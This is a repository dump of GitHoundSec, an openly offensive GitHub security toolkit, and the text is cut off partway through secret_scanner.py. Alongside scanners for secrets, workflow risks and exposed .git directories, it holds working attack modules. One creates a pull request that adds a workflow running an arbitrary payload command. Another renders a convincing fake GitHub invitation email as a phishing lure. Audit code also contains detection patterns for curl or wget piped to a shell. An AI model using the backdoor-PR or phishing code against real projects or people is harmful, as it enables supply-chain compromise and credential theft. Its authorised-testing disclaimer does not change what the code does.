├── .gitignore ├── Dockerfile ├── LICENSE ├── README.md ├── assets ├── logo.png └── screenshot.png ├── backend ├── __pycache__ │ ├── actions_audit.cpython-310.pyc │ ├── actions_permissions.cpython-310.pyc │ ├── apt_recon_scanner.cpython-310.pyc │ ├── git_directory_scanner.cpython-310.pyc │ ├── github_collector.cpython-310.pyc │ ├── graph_attack.cpython-310.pyc │ ├── phishing_template.cpython-310.pyc │ ├── pr_malicious.cpython-310.pyc │ ├── run_trufflehog_single.cpython-310.pyc │ ├── secret_scanner.cpython-310.pyc │ ├── shadow_repo_hijack.cpython-310.pyc │ ├── token_theft_action_injector.cpython-310.pyc │ ├── typosquat_detector.cpython-310.pyc │ ├── workflow_backdoor_pr.cpython-310.pyc │ ├── workflow_backdoor_pr_injector.cpython-310.pyc │ ├── workflow_exploit_finder.cpython-310.pyc │ └── zombie_secrets_hunter.cpython-310.pyc ├── actions_audit.py ├── actions_permissions.py ├── apt_recon_scanner.py ├── dep_scanner.py ├── git_directory_scanner.py ├── github_collector.py ├── graph_attack.py ├── phishing_template.py ├── pr_malicious.py ├── report_generator.py ├── run_trufflehog_single.py ├── secret_scanner.py ├── shadow_repo_hijack.py ├── surface_mapper.py ├── token_theft_action_injector.py ├── typosquat_detector.py ├── workflow_backdoor_pr.py ├── workflow_backdoor_pr_injector.py ├── workflow_exploit_finder.py └── zombie_secrets_hunter.py ├── config └── settings.json ├── docker-compose.yml ├── frontend ├── __pycache__ │ └── main_gui.cpython-310.pyc └── main_gui.py ├── main.py ├── outputs ├── phishing │ └── teste └── teste ├── pyproject.toml ├── reports └── gitleaks-report.json ├── requirements.txt ├── temp_repos └── test └── uv.lock /.gitignore: -------------------------------------------------------------------------------- 1 | # python 2 | *.pyc 3 | .python-* 4 | __pycache__/ 5 | .venv 6 | .mypy_cache/ -------------------------------------------------------------------------------- /Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ghcr.io/astral-sh/uv:python3.12-bookworm 2 | 3 | ENV DEBIAN_FRONTEND=noninteractive \ 4 | UV_LINK_MODE=copy \ 5 | UV_COMPILE_BYTECODE=1 \ 6 | DISPLAY=:0 7 | 8 | # Install system dependencies required for GUI applications and optional tools 9 | RUN apt-get update && apt-get install -y \ 10 | git \ 11 | curl \ 12 | unzip \ 13 | libx11-6 \ 14 | libxext6 \ 15 | libxrender1 \ 16 | libxtst6 \ 17 | libxi6 \ 18 | libgl1-mesa-glx \ 19 | && rm -rf /var/lib/apt/lists/* 20 | 21 | # Install trufflehog 22 | RUN curl -sSfL https://raw.githubusercontent.com/trufflesecurity/trufflehog/main/scripts/install.sh | sh -s -- -b /usr/local/bin 23 | 24 | # Install gitleaks 25 | RUN curl -sSfL https://raw.githubusercontent.com/gitleaks/gitleaks/main/scripts/install.sh | sh -s -- -b /usr/local/bin 26 | 27 | # Install subfinder 28 | RUN curl -sSfL https://raw.githubusercontent.com/projectdiscovery/subfinder/main/install.sh | sh -s -- -b /usr/local/bin 29 | 30 | WORKDIR /app 31 | 32 | COPY . . 33 | 34 | RUN uv sync --frozen 35 | 36 | CMD ["python", "main.py"] 37 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2025 Joas A Santos 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GitHoundSec 2 | 3 | **GitHoundSec** is an advanced offensive security toolkit for auditing GitHub organizations, repositories, and developer activity. It offers modules for secrets detection, workflow abuse, access enumeration, attack simulation, and APT-style reconnaissance. 4 | 5 |
6 | 7 | ## 🚀 Features 8 | 9 | - **Secrets Scanning:** 10 | 11 | - TruffleHog & Gitleaks support 12 | - Organization-wide or repo-specific 13 | - Support for external config files and tokens 14 | 15 | - **GitHub Actions Auditing:** 16 | 17 | - Detect dangerous patterns and overly permissive workflows 18 | - Auto-analysis and reporting 19 | 20 | - **Offensive Modules:** 21 | 22 | - Malicious PR simulation 23 | - Workflow backdoors (direct and via PR) 24 | - GitHub Token theft via CI 25 | - Phishing invitation generator 26 | - Typosquatting repo finder 27 | - Shadow repo hijack scanner 28 | 29 | - **APT Recon Tools:** 30 | 31 | - Contributor graph analysis 32 | - GitHub apps & actions permissions scanner 33 | - Developer fingerprinting 34 | 35 | - **.git Directory Finder:** 36 | 37 | - Find subdomains exposing `.git/config` 38 | 39 | - **User-Friendly Interface:** 40 | - Built with `customtkinter` 41 | - Interactive tabs for each module 42 | - Output terminal and logs per action 43 | 44 |
45 | 46 | ## 🧠 Requirements 47 | 48 | - Python 3.10+ 49 | - `customtkinter` 50 | - `requests`, `subprocess` 51 | - External binaries (optional): 52 | - `subfinder` (for subdomain enumeration) 53 | - `trufflehog`, `gitleaks`, `git` 54 | 55 |
56 | 57 | ## ⚙️ Setup 58 | 59 | ```bash 60 | git clone https://github.com/YourOrg/GitHoundSec.git 61 | cd GitHoundSec 62 | pip install -r requirements.txt 63 | python3 main.py 64 | ``` 65 | 66 | #### or via uv (recommended) 67 | 68 | ```zsh 69 | git clone 'git@github.com:CyberSecurityUP/GitHoundSec.git' 70 | cd GitHoundSec 71 | uv venv 72 | uv sync 73 | uv run main.py 74 | ``` 75 | 76 | #### or via docker & xhost 77 | 78 | - Allow docker to access your X server: 79 | 80 | ```zsh 81 | xhost +local:docker 82 | ``` 83 | 84 | - Run docker container: 85 | ```zsh 86 | docker run -it --rm \ 87 | -e DISPLAY=$DISPLAY \ 88 | -v /tmp/.X11-unix:/tmp/.X11-unix \ 89 | githoundsec 90 | ``` 91 | 92 | > Note: This docker setup is primarily for Linux systems using X11. For macOS and Windows, additional configuration is required to enable GUI applications from Docker containers. 93 | 94 | > Note: for MacOS users, you can use `xquartz` to run GUI applications from Docker containers. Install `xquartz` and [follow the instructions](https://gist.github.com/roaldnefs/fe9f36b0e8cf2890af14572c083b516c) to set up X11 forwarding. 95 | 96 | The following ui should appear: 97 | 98 | GitHoundSec ScreenShot 99 | 100 |
101 | 102 | ## 🛠️ Known Issues 103 | 104 | ### Tkinter & Pyenv issues in MacOS 105 | 106 | > tkinter is a Python wrapper around Tcl/Tk GUI toolkit. On macOS, Tk is NOT bundled by default when building Python manually (like with pyenv), unless you tell it where to find it. 107 | 108 | > Homebrew installs its own tcl-tk because the macOS system one is too old or incomplete. 109 | 110 | #### Solution: 111 | 112 | - Uninstall your current Python version from pyenv: 113 | 114 | ```bash 115 | pyenv uninstall 116 | ``` 117 | 118 | - Set proper environment variables: 119 | 120 | ```bash 121 | export LDFLAGS="-L/opt/homebrew/opt/tcl-tk/lib" 122 | export CPPFLAGS="-I/opt/homebrew/opt/tcl-tk/include" 123 | export PKG_CONFIG_PATH="/opt/homebrew/opt/tcl-tk/lib/pkgconfig" 124 | export PATH="/opt/homebrew/opt/tcl-tk/bin:$PATH" 125 | ``` 126 | 127 | - Reinstall Python: 128 | 129 | ```zsh 130 | pyenv install 131 | pyenv local 132 | ``` 133 | 134 | - if you got local venv remove it, and create a new one: 135 | 136 | ```bash 137 | rm -rf .venv 138 | uv venv 139 | uv sync 140 | ``` 141 | 142 | - Run the app: 143 | ```bash 144 | uv run main.py 145 | ``` 146 | 147 |
148 | 149 | ## 📦 Directory Structure 150 | 151 | ``` 152 | GitHoundSec/ 153 | ├── backend/ # Core logic for each module 154 | ├── frontend/ # GUI using customtkinter 155 | ├── outputs/ # Reports and results 156 | ├── temp_repos/ # Cloned repositories for analysis 157 | └── main.py # Entry point 158 | ``` 159 | 160 |
161 | 162 | ## 📌 Legal Disclaimer 163 | 164 | This project is intended for educational and authorized security testing only. Unauthorized usage against systems you do not own or have explicit permission to test is illegal. 165 | 166 |
167 | 168 | ## 🧠 Author 169 | 170 | Created by **Joas Antonio dos Santos** 171 | 172 |
173 | 174 | ## 🤝 Contributors 175 | 176 | - [Mo Eltahir](https://github.com/MoElaSec) 177 | 178 |
179 | 180 | ## 🔗 License 181 | 182 | MIT License 183 | -------------------------------------------------------------------------------- /assets/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/assets/logo.png -------------------------------------------------------------------------------- /assets/screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/assets/screenshot.png -------------------------------------------------------------------------------- /backend/__pycache__/actions_audit.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/actions_audit.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/actions_permissions.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/actions_permissions.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/apt_recon_scanner.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/apt_recon_scanner.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/git_directory_scanner.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/git_directory_scanner.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/github_collector.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/github_collector.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/graph_attack.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/graph_attack.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/phishing_template.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/phishing_template.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/pr_malicious.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/pr_malicious.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/run_trufflehog_single.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/run_trufflehog_single.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/secret_scanner.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/secret_scanner.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/shadow_repo_hijack.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/shadow_repo_hijack.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/token_theft_action_injector.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/token_theft_action_injector.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/typosquat_detector.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/typosquat_detector.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/workflow_backdoor_pr.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/workflow_backdoor_pr.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/workflow_backdoor_pr_injector.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/workflow_backdoor_pr_injector.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/workflow_exploit_finder.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/workflow_exploit_finder.cpython-310.pyc -------------------------------------------------------------------------------- /backend/__pycache__/zombie_secrets_hunter.cpython-310.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/__pycache__/zombie_secrets_hunter.cpython-310.pyc -------------------------------------------------------------------------------- /backend/actions_audit.py: -------------------------------------------------------------------------------- 1 | # backend/actions_audit.py 2 | 3 | import os 4 | import glob 5 | import yaml 6 | import re 7 | 8 | def list_workflows(repo_path: str): 9 | workflows_path = os.path.join(repo_path, ".github", "workflows") 10 | if not os.path.exists(workflows_path): 11 | return [] 12 | return glob.glob(os.path.join(workflows_path, "*.yml")) 13 | 14 | def audit_workflow(file_path: str): 15 | risks = [] 16 | with open(file_path, "r") as f: 17 | try: 18 | data = yaml.safe_load(f) 19 | except Exception as e: 20 | return [f"Erro ao parsear YAML: {e}"] 21 | 22 | if not data: 23 | return ["Workflow vazio ou inválido"] 24 | 25 | jobs = data.get("jobs", {}) 26 | for job_name, job_data in jobs.items(): 27 | steps = job_data.get("steps", []) 28 | for step in steps: 29 | if "run" in step: 30 | cmd = step["run"] 31 | if re.search(r"(curl|wget).*(bash|sh)", cmd): 32 | risks.append(f"[{file_path}] Uso de download + execução: `{cmd}`") 33 | if "sudo" in cmd or "chmod 777" in cmd: 34 | risks.append(f"[{file_path}] Comando potencialmente inseguro: `{cmd}`") 35 | 36 | if "uses" in step: 37 | uses = step["uses"] 38 | if "@" not in uses: 39 | risks.append(f"[{file_path}] Action sem versionamento: `{uses}`") 40 | elif "@master" in uses or "@main" in uses: 41 | risks.append(f"[{file_path}] Action referenciando branch: `{uses}`") 42 | return risks 43 | 44 | def audit_repo_actions(repo_path: str): 45 | result = [] 46 | for wf in list_workflows(repo_path): 47 | result.extend(audit_workflow(wf)) 48 | return result 49 | -------------------------------------------------------------------------------- /backend/actions_permissions.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | import base64 4 | def scan_org_actions_permissions(org: str, token: str) -> dict: 5 | headers = { 6 | "Accept": "application/vnd.github+json", 7 | "Authorization": f"Bearer {token}" 8 | } 9 | 10 | repos_url = f"https://api.github.com/orgs/{org}/repos?per_page=100" 11 | response = requests.get(repos_url, headers=headers) 12 | repos = response.json() 13 | if not isinstance(repos, list): 14 | raise Exception(f"GitHub API error: {repos.get('message', 'unknown error')}") 15 | 16 | findings = {} 17 | 18 | for repo in repos: 19 | repo_name = repo['name'] 20 | workflows_url = f"https://api.github.com/repos/{org}/{repo_name}/contents/.github/workflows" 21 | wf_resp = requests.get(workflows_url, headers=headers) 22 | 23 | if wf_resp.status_code != 200: 24 | continue # No workflows 25 | 26 | files = wf_resp.json() 27 | repo_findings = [] 28 | 29 | for file in files: 30 | if not file['name'].endswith(".yml") and not file['name'].endswith(".yaml"): 31 | continue 32 | 33 | file_content_url = file['download_url'] 34 | if not file_content_url: 35 | continue 36 | 37 | file_text = requests.get(file_content_url, headers=headers).text 38 | lines = file_text.splitlines() 39 | 40 | for i, line in enumerate(lines): 41 | if 'uses:' in line and '@' not in line: 42 | repo_findings.append(f"[!] Unpinned Action: {line.strip()} (line {i+1})") 43 | if 'run:' in line and ('curl' in line or 'wget' in line or 'bash' in line): 44 | repo_findings.append(f"[!] Dangerous run detected: {line.strip()} (line {i+1})") 45 | if 'permissions:' in line and ("write" in line or "id-token" in line): 46 | repo_findings.append(f"[!] Elevated permission: {line.strip()} (line {i+1})") 47 | 48 | if repo_findings: 49 | findings[repo_name] = repo_findings 50 | 51 | return findings 52 | -------------------------------------------------------------------------------- /backend/apt_recon_scanner.py: -------------------------------------------------------------------------------- 1 | from github import Github 2 | from typing import List 3 | 4 | def apt_recon(org_name: str, token: str = None) -> List[str]: 5 | g = Github(token) if token else Github() 6 | findings = [] 7 | 8 | try: 9 | org = g.get_organization(org_name) 10 | repos = list(org.get_repos()) 11 | except Exception as e: 12 | return [f"❌ Error fetching organization: {str(e)}"] 13 | 14 | for repo in repos: 15 | repo_info = f"📦 {repo.full_name} - ⭐ {repo.stargazers_count} | 👁️ {repo.watchers_count} | 🍴 {repo.forks_count}" 16 | findings.append(repo_info) 17 | 18 | try: 19 | contributors = repo.get_contributors() 20 | for user in contributors: 21 | user_info = f" 👤 {user.login} | 📝 {user.contributions} contributions" 22 | findings.append(user_info) 23 | except Exception: 24 | findings.append(" ⚠️ Could not fetch contributors.") 25 | 26 | try: 27 | issues = repo.get_issues(state="open") 28 | for issue in issues: 29 | findings.append(f" ❗ Issue: {issue.title[:80]} [{issue.user.login}]") 30 | except Exception: 31 | findings.append(" ⚠️ Could not fetch issues.") 32 | 33 | return findings 34 | -------------------------------------------------------------------------------- /backend/dep_scanner.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/dep_scanner.py -------------------------------------------------------------------------------- /backend/git_directory_scanner.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import subprocess 3 | from typing import List 4 | 5 | def find_git_directories(domain: str) -> List[str]: 6 | subdomains = set() 7 | results = [] 8 | 9 | try: 10 | # Use subfinder if available 11 | subfinder = subprocess.run(["subfinder", "-d", domain, "-silent"], capture_output=True, text=True) 12 | for line in subfinder.stdout.splitlines(): 13 | subdomains.add(line.strip()) 14 | except Exception: 15 | results.append("⚠️ subfinder not found or failed. Falling back to root domain only.") 16 | subdomains.add(domain) 17 | 18 | for sub in subdomains: 19 | url = f"http://{sub}/.git/config" 20 | try: 21 | r = requests.get(url, timeout=4) 22 | if r.status_code == 200 and "[core]" in r.text: 23 | results.append(f"✅ Found exposed .git on: {url}") 24 | else: 25 | results.append(f"❌ Not found or forbidden on: {url}") 26 | except Exception: 27 | results.append(f"⚠️ Failed to connect: {url}") 28 | 29 | if not results: 30 | results.append("No subdomains or .git folders found.") 31 | 32 | return results 33 | -------------------------------------------------------------------------------- /backend/github_collector.py: -------------------------------------------------------------------------------- 1 | # backend/github_collector.py 2 | from github import Github 3 | 4 | def collect_repos(token: str, org_name: str): 5 | g = Github(token) 6 | try: 7 | org = g.get_organization(org_name) 8 | except: 9 | org = g.get_user(org_name) 10 | 11 | repos = org.get_repos() 12 | return [repo.full_name for repo in repos] 13 | -------------------------------------------------------------------------------- /backend/graph_attack.py: -------------------------------------------------------------------------------- 1 | import requests 2 | from pyvis.network import Network 3 | import os 4 | from typing import Optional 5 | 6 | GITHUB_API = "https://api.github.com" 7 | 8 | 9 | def build_graph_from_org(org_name: str, token: Optional[str] = None) -> str: 10 | headers = { 11 | "Accept": "application/vnd.github+json" 12 | } 13 | if token: 14 | headers["Authorization"] = f"Bearer {token}" 15 | 16 | net = Network(height='800px', width='100%', bgcolor='#111111', font_color='white') 17 | net.force_atlas_2based() 18 | 19 | org_node_id = f"ORG::{org_name}" 20 | net.add_node(org_node_id, label=org_name, shape='ellipse', color='orange') 21 | 22 | repos_response = requests.get(f"{GITHUB_API}/orgs/{org_name}/repos?per_page=100", headers=headers) 23 | repos = repos_response.json() 24 | if not isinstance(repos, list): 25 | raise Exception(f"GitHub API error: {repos.get('message', 'unknown error')}") 26 | 27 | added_any_node = False 28 | 29 | for repo in repos: 30 | repo_name = repo['name'] 31 | repo_node_id = f"REPO::{repo_name}" 32 | net.add_node(repo_node_id, label=repo_name, shape='box', color='deepskyblue') 33 | net.add_edge(org_node_id, repo_node_id) 34 | added_any_node = True 35 | 36 | # Tenta usar /collaborators se o token existir 37 | collabs = [] 38 | if token: 39 | collabs_url = f"{GITHUB_API}/repos/{org_name}/{repo_name}/collaborators" 40 | collabs_response = requests.get(collabs_url, headers=headers) 41 | if collabs_response.status_code == 200: 42 | collabs = collabs_response.json() 43 | 44 | # Se não veio nada, tenta pegar contributors (público) 45 | if not collabs: 46 | contributors_url = f"{GITHUB_API}/repos/{org_name}/{repo_name}/contributors" 47 | contributors_response = requests.get(contributors_url, headers=headers) 48 | if contributors_response.status_code == 200: 49 | collabs = contributors_response.json() 50 | 51 | for user in collabs: 52 | login = user.get('login') 53 | if not login: 54 | continue 55 | permission = user.get('permissions', {}) if token else {} 56 | role = 'admin' if permission.get('admin') else 'write' if permission.get('push') else 'contrib' 57 | label = f"{login} [{role}]" if token else login 58 | user_id = f"USER::{login}" 59 | net.add_node(user_id, label=label, shape='dot', color='yellow') 60 | net.add_edge(repo_node_id, user_id) 61 | 62 | if not added_any_node: 63 | raise Exception("No public repositories or collaborators found. Try using a GitHub token.") 64 | 65 | os.makedirs("outputs", exist_ok=True) 66 | output_file = f"outputs/{org_name}_graph.html" 67 | net.show(output_file) 68 | return output_file -------------------------------------------------------------------------------- /backend/phishing_template.py: -------------------------------------------------------------------------------- 1 | from jinja2 import Template 2 | import os 3 | 4 | def generate_phishing_invite_html(org_name: str, repo_name: str, sender: str, target_user: str) -> str: 5 | template_html = """ 6 |
7 | 8 | 9 | 38 | 39 |
10 |
11 | 12 | 13 | 14 |
15 |

@{{ sender }} has invited you to collaborate on the
{{ org_name }}/{{ repo_name }} repository

16 |
17 |

18 | You can accept or decline this invitation. 19 | Visit the repository or @{{ sender }} to learn more. 20 |

21 |

22 | This invitation will expire in 7 days. 23 |

24 |
25 | View invitation 26 |
27 |

28 | Note: This invitation was intended for {{ target_user }}. 29 | If you were not expecting this invitation, you can ignore this email. 30 |

31 |
32 |

33 | Getting a 404 error? Make sure you’re signed in as {{ target_user }}.
34 | Button not working? Copy and paste this link into your browser:
35 | https://github.com/{{ org_name }}/{{ repo_name }}/invitations 36 |

37 |
40 |
41 | """ 42 | template = Template(template_html) 43 | html = template.render(org_name=org_name, repo_name=repo_name, sender=sender, target_user=target_user) 44 | 45 | os.makedirs("outputs/phishing", exist_ok=True) 46 | output_path = f"outputs/phishing/{org_name}_{repo_name}_{target_user}.html" 47 | with open(output_path, "w", encoding="utf-8") as f: 48 | f.write(html) 49 | 50 | return output_path 51 | -------------------------------------------------------------------------------- /backend/pr_malicious.py: -------------------------------------------------------------------------------- 1 | import os 2 | import subprocess 3 | import uuid 4 | from github import Github 5 | 6 | def simulate_malicious_pr(repo_url: str, github_token: str, payload_cmd: str, interactive: bool = False, terminal_input: str = "") -> str: 7 | repo_name = repo_url.rstrip("/").split("/")[-1] 8 | repo_owner = repo_url.rstrip("/").split("/")[-2] 9 | clone_dir = os.path.join("temp_repos", f"malicious_{uuid.uuid4().hex[:6]}") 10 | 11 | os.makedirs(clone_dir, exist_ok=True) 12 | authenticated_url = repo_url.replace("https://", f"https://{github_token}@") 13 | subprocess.run(["git", "clone", authenticated_url, clone_dir], stdout=subprocess.PIPE, stderr=subprocess.PIPE) 14 | 15 | # Set git user identity for commits 16 | subprocess.run(["git", "config", "user.name", "RedOpsBot"], cwd=clone_dir) 17 | subprocess.run(["git", "config", "user.email", "redops@local.io"], cwd=clone_dir) 18 | 19 | branch_name = f"malicious-patch-{uuid.uuid4().hex[:4]}" 20 | subprocess.run(["git", "checkout", "-b", branch_name], cwd=clone_dir) 21 | 22 | wf_path = os.path.join(clone_dir, ".github", "workflows") 23 | os.makedirs(wf_path, exist_ok=True) 24 | wf_file = os.path.join(wf_path, "malicious.yml") 25 | 26 | with open(wf_file, "w") as f: 27 | f.write(f""" 28 | name: Malicious Payload 29 | on: [push] 30 | jobs: 31 | evil: 32 | runs-on: ubuntu-latest 33 | steps: 34 | - name: Execute Payload 35 | run: {payload_cmd} 36 | """) 37 | 38 | subprocess.run(["git", "add", "."], cwd=clone_dir) 39 | subprocess.run(["git", "commit", "-m", "Add malicious workflow"], cwd=clone_dir) 40 | 41 | # Se for terminal interativo, simular push 42 | if interactive and terminal_input: 43 | cmds = terminal_input.strip().split("\n") 44 | outputs = [] 45 | for cmd in cmds: 46 | try: 47 | result = subprocess.run(cmd, shell=True, cwd=clone_dir, capture_output=True, text=True) 48 | outputs.append(f"$ {cmd}\n{result.stdout}{result.stderr}") 49 | except Exception as e: 50 | outputs.append(f"❌ Error running `{cmd}`: {str(e)}") 51 | return "\n".join(outputs) 52 | 53 | # Push normal com token 54 | subprocess.run(["git", "push", "origin", branch_name], cwd=clone_dir) 55 | 56 | # Criar PR via API 57 | g = Github(github_token) 58 | repo = g.get_repo(f"{repo_owner}/{repo_name}") 59 | pr = repo.create_pull( 60 | title="[POC] Test Malicious Workflow", 61 | body="This is a security testing PR.", 62 | head=branch_name, 63 | base="main" 64 | ) 65 | 66 | return f"✅ PR created: {pr.html_url}" 67 | -------------------------------------------------------------------------------- /backend/report_generator.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/CyberSecurityUP/GitHoundSec/abf8988605139fe925e6dcfa79a6fb36de638a67/backend/report_generator.py -------------------------------------------------------------------------------- /backend/run_trufflehog_single.py: -------------------------------------------------------------------------------- 1 | # backend/run_trufflehog_single.py 2 | 3 | import subprocess 4 | import os 5 | 6 | def run_trufflehog_generic(target: str, output_path: str): 7 | """ 8 | Roda TruffleHog em uma organização (--org=) ou repositório git diretamente. 9 | Detecta se é URL ou nome de org. 10 | """ 11 | is_repo = target.startswith("http") or target.endswith(".git") 12 | cmd = ["trufflehog"] 13 | cmd += ["git", target] if is_repo else ["github", f"--org={target}"] 14 | cmd += ["--json", "--no-update"] 15 | 16 | os.makedirs(os.path.dirname(output_path), exist_ok=True) 17 | 18 | with open(output_path, "w") as outfile: 19 | result = subprocess.run(cmd, stdout=outfile, stderr=subprocess.PIPE, text=True) 20 | if result.stderr: 21 | print("[TruffleHog STDERR]", result.stderr) 22 | return output_path 23 | -------------------------------------------------------------------------------- /backend/secret_scanner.py: -------------------------------------------------------------------------------- 1 | import subprocess 2 | import os 3 | from backend.github_collector import collect_repos 4 | 5 | def run_trufflehog(repo_url: str, output_path: str): 6 | """Executa TruffleHog em repositório remoto.""" 7 | cmd = [ 8 | "trufflehog", "git", repo_url, 9 | "--json", 10 | "--no-update" 11 | ] 12 | with open(output_path, "w") as outfile: 13 | result = subprocess.run(cmd, stdout=outfile, stderr=subprocess.PIPE, text=True) 14 | if result.stderr: 15 | print("[TruffleHog STDERR]", result.stderr) 16 | 17 | def run_trufflehog_org(org_name: str, output_path: str): 18 | import subprocess, os 19 | env = os.environ.copy() 20 | cmd = [ 21 | "trufflehog", 22 | "github", 23 | f"--org={org_name}", 24 | "--json", 25 | "--no-update" 26 | ] 27 | with open(output_path, "w") as outfile: 28 | subprocess.run(cmd, stdout=outfile, stderr=subprocess.PIPE, text=True, env=env) 29 | return output_path 30 | 31 | 32 | def run_gitleaks(repo_path: str, output_path: str): 33 | """Executa Gitleaks localmente após clone do repositório.""" 34 | cmd = [ 35 | "gitleaks", "git", 36 | "--repo-path", repo_path, 37 | "--report-format", "json", 38 | "--report-path", output_path, 39 | "--no-banner" 40 | ] 41 | result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True) 42 | if result.stderr: 43 | print("[Gitleaks STDERR]", result.stderr) 44 | 45 | # backend/gitleaks_runner.py 46 | 47 | import subprocess 48 | import uuid 49 | import os 50 | 51 | def run_gitleaks_scan(repo_name: str, use_token=False, token=None, config_enabled=False, config_path=None): 52 | repo_path = os.path.join("temp_repos", repo_name) 53 | if not os.path.exists(repo_path): 54 | raise FileNotFoundError(f"Repositório não encontrado em {repo_path}") 55 | 56 | os.makedirs("outputs", exist_ok=True) 57 | report_id = str(uuid.uuid4())[:8] 58 | report_path = os.path.join("outputs", f"gitleaks-report-{report_id}.json") 59 | 60 | cmd = [ 61 | "gitleaks", "detect", 62 | "--source", repo_path, 63 | "--report-format", "json", 64 | "--report-path", report_path, 65 | "-v" 66 | ] 67 | 68 | if config_enabled and config_path: 69 | cmd += ["--config", config_path] 70 | 71 | env = os.environ.copy() 72 | if use_token and token: 73 | 